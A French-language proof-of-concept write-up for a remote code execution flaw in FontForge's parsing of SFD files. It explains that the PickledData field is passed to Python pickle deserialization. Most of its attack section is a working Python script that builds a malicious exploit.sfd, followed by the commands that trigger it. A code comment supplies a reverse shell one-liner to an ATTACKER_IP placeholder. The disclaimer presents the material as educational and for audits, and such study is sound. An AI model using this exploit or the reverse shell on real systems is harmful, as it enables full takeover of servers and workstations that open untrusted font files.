
Preuve de concept pour CVE-2025-15276 - Vulnérabilité de désérialisation de données non fiables lors du parsing de fichiers SFD de FontForge permettant l'exécution de code à distance
Cette preuve de concept (PoC) est fournie à des fins éducatives et d'audit de sécurité uniquement. L'auteur n'est pas responsable de tout usage abusif de ces informations. L'accès non autorisé à des systèmes informatiques est illégal. Obtenez toujours une autorisation explicite avant d'effectuer des tests de sécurité sur un système.
CVE-2025-15276 est une vulnérabilité critique d'exécution de code à distance (RCE) dans FontForge (versions jusqu'à la 20230101 incluse). Le défaut se situe dans l'analyse du format Spline Font Database (.sfd), plus précisément dans le champ PickledData.
Le format SFD de FontForge permet de stocker des dictionnaires Python persistants à l'aide du mot-clé PickledData. Lors du chargement d'une police, FontForge extrait cette chaîne et la transmet directement à la fonction pickle.loads() de Python (ou à une routine de désérialisation interne équivalente) sans aucune assainissement ni isolation.
Étant donné que le module pickle de Python est intrinsèquement non sécurisé et permet la reconstruction d'objets arbitraires, un attaquant peut utiliser la méthode __reduce__ pour exécuter des commandes système arbitraires avec les privilèges de l'utilisateur exécutant FontForge.
20230101 ou antérieure.Utilisez le script Python suivant (gen_poc.py) pour créer un fichier exploit.sfd. Cette PoC est configurée pour créer un fichier dans /tmp/pwned comme indicateur de compromission (IoC) sûr.
import pickle
import os
# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"
class Exploit(object):
def __reduce__(self):
return (os.system, (cmd,))
# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')
# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')
# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""
with open("exploit.sfd", "w") as f:
f.write(sfd_content)
print("[+] exploit.sfd generated successfully.")
La vulnérabilité peut être déclenchée simplement en ouvrant le fichier avec FontForge.
Option A : chargement standard via interface graphique/CLI
fontforge exploit.sfd
Option B : interface de script Python (courante dans les pipelines automatisés)
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'
Vérifiez si la commande a été exécutée :
ls -l /tmp/pwned
Cette vulnérabilité est particulièrement dangereuse dans les pipelines de traitement de polices (par exemple, les convertisseurs de polices en ligne ou les scripts de validation automatisés) qui utilisent FontForge en arrière-plan pour traiter des fichiers téléversés par les utilisateurs. Si le script backend appelle fontforge.open() sur un fichier .sfd non fiable, l'attaquant obtient le contrôle total du serveur de traitement.
.sfd provenant de sources non fiables.